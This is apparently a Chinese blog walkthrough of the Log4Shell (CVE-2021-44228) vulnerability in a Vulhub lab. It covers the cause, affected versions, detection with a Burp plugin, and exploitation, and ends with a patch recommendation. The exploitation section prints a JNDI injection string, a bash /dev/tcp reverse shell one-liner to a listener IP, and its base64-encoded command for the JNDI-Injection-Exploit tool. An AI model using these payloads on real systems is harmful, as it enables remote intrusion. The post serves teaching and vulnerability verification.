Log4j2远程代码执行漏洞(CVE-2021-44228)

这篇文章详细解释了Log4Shell漏洞,涉及其原理、影响的ApacheLog4j2版本,以及如何在Vulhub环境中搭建并验证漏洞。作者介绍了使用burp插件检测漏洞的方法,并演示了漏洞利用的过程,最后给出官方推荐的修复建议。
摘要由CSDN通过智能技术生成

1、简介

CVE-2021-44228,被广泛称为“Log4Shell”,是一个高危的远程代码执行漏洞,影响了Apache Log4j 2,这是一个在Java应用程序中广泛使用的日志记录库。

2、漏洞原理

这个漏洞的根本原因在于Log4j 2的日志消息查找功能,该功能允许插入特定的模式,以便从不同的数据源动态获取信息。攻击者可以通过向Log4j传递一个恶意构造的字符串操纵JNDI(Java Naming and Directory Interface)查找,以执行LDAP(轻量级目录访问协议)或其他JNDI支持的查询。例如,攻击者可以提交一个包含${jndi:ldap://attacker_controlled_server/payload}的字符串到日志消息中。如果这个消息被记录,Log4j会尝试解析这个字符串,并进行JNDI查询到指定的URL,这可以导致加载并执行攻击者指定的恶意代码。

3、影响版本

Apache Log4j 2.x < 2.15.0-rc2

4、环境搭建

本文用到的是Vulhub搭建的环境,如何下载Vulhub并启动可参考这里

进入到CVE-2021-44228目录,执行如下命令启动环境。

docker-compose up -d

查看环境信息

docker-compose ps

浏览器访问搭建环境的IP加端口,出现以下界面证明搭建成功。

5、漏洞验证

本文漏洞验证用的是burp插件Log4j2Scan,插件地址

本文是之前安装好的,简单说一下如何安装。

配置Log4j2Scan插件响应地址为CEYE的,如无账号,注册即可,将CEYE生成的地址与API Token填写至插件中并应用。

浏览器与burp链接后在整个存在漏洞的界面随意点点(主要是为了找到注入点),Log4j2Scan插件告警存在远程命令执行漏洞。

手动验证,将存在漏洞的数据包重新发送,CEYE有回显,证明漏洞的确存在。

6、漏洞利用

首先下载JNDI注入工具,git clone https://github.com/welk1n/JNDI-Injection-Exploit.git 

进入JNDI-Injection-Exploit目录,执行如下命令进行编译。

mvn clean package -DskipTests

构造反弹shell命令,并进行base64编码。编码地址

 bash -i >& /dev/tcp/192.168.15.128/4444 0>&1

进入JNDI-Injection-Exploit/target目录执行如下命令,获取payload。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.15.128"

另起一个终端监听4444端口(反弹命令中的端口是多少,就监听多少就行)

将构造好的恶意类带入到url中访问

LDAP服务器收到回显,同样监听处成功反弹shell。

7、修复建议

官网下载不受影响的版本,及时更新。

https://logging.apache.org/log4j/2.x/download.html

  • 27
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值